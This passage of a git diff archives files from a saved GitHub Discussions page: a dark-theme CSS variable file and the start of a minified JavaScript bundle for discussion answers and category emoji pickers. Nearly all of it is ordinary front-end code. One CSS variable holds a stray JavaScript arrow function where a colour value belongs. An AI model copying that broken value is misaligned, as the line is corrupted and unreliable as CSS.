rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}} + +/*# sourceMappingURL=dark-27e9c50c7b31.css.map*/ \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js new file mode 100644 index 0000000..b0e0f01 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js @@ -0,0 +1,35 @@ +"use strict";(()=>{var te=Object.defineProperty;var o=(T,E)=>te(T,"name",{value:E,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["discussions"],{67105:(T,E,a)=>{var l=a(6741),d=a(64463),v=a(65935);(0,d.N7)(".js-discussions-goto-answer-button",{add:e=>{const t=e.getAttribute("href"),n=document.querySelector(t);n&&(0,l.RB)(e,"click",s=>{if(t){s.preventDefault();let m="center";n.getBoundingClientRect().height>=window.innerHeight&&(m="start"),n.scrollIntoView({behavior:"smooth",block:m})}},{capture:!0})}}),(0,d.N7)(".js-discussions-title-container",{add:e=>{e.querySelector(".js-discussions-goto-answer-button")?h():f()}});function h(){const e=document.querySelector(".js-discussion");e&&e.classList.add("answered")}o(h,"removeMarkAsAnswerButtons");function f(){const e=document.querySelector(".js-discussion");e&&e.classList.remove("answered")}o(f,"addMarkAsAnswerButtons"),(0,v.AC)(".js-discussion-comment-mark-answer",async function(e,t){await c(e,t)}),(0,v.AC)(".js-discussion-comment-unmark-answer",async function(e,t){await c(e,t)});async function c(e,t){const n=await t.html();let s=e;const m=e.closest("[data-replace-remote-form-target]");if(m){const y=m.getAttribute("data-replace-remote-form-target");s=y?document.getElementById(y):m}s.replaceWith(n.html)}o(c,"replaceAnswerForm");var i=a(59753),r=a(45075);(0,r.w4)("keyup",".js-discussion-category-name-field",function(){const e=document.querySelector(".js-discussion-category-form");if(!e)return;const t=e.querySelector(".js-discussion-category-name-field"),n=e.querySelector(".js-submit-discussion-category");t.value.length>0&&(n.disabled=!1)}),(0,i.on)("click",".js-discussion-category-toggle-emoji-picker",function(e){const n=u(e).querySelector(".js-discussion-category-emoji-picker");n.hidden=!n.hidden}),(0,i.on)("click",".js-discussion-category-emoji-button",function(e){if(!(e.currentTarget instanceof HTMLButtonElement))return;const t=u(e),n=t.querySelector(".js-discussion-category-emoji-field");n.value=e.currentTarget.value;const s=t.querySelector(".js-discussion-category-custom-emoji");s.innerHTML=e.currentTarget.innerHTML;for(const y of t.querySelectorAll(".selected-emoji"))y.classList.remove("selected-emoji");e.currentTarget.classList.add("selected-emoji");const m=t.querySelector(".js-discussion-category-emoji-picker");m.hidden=!0});function u(e){return e.currentTarget.closest(".js-discussion-category-form")}o(u,"getDiscussionCategoryContainer");function b(e){var t;const n=document.querySelector("#category-select-header"),s=document.querySelector(".js-discussion-category-select-label"),m=(t=e.querySelector(".js-discussion-category-emoji"))==null?void 0:t.cloneNode(!0),y=document.createTextNode(e.getAttribute("data-category-name")),C=e.getAttribute("data-supports-polls"),B=document.createElement("span");n instanceof HTMLElement&&(B.setAttribute("id","category-select-header"),B.setAttribute("class","css-truncate css-truncate-target"),B.setAttribute("data-supports-polls",C),m instanceof 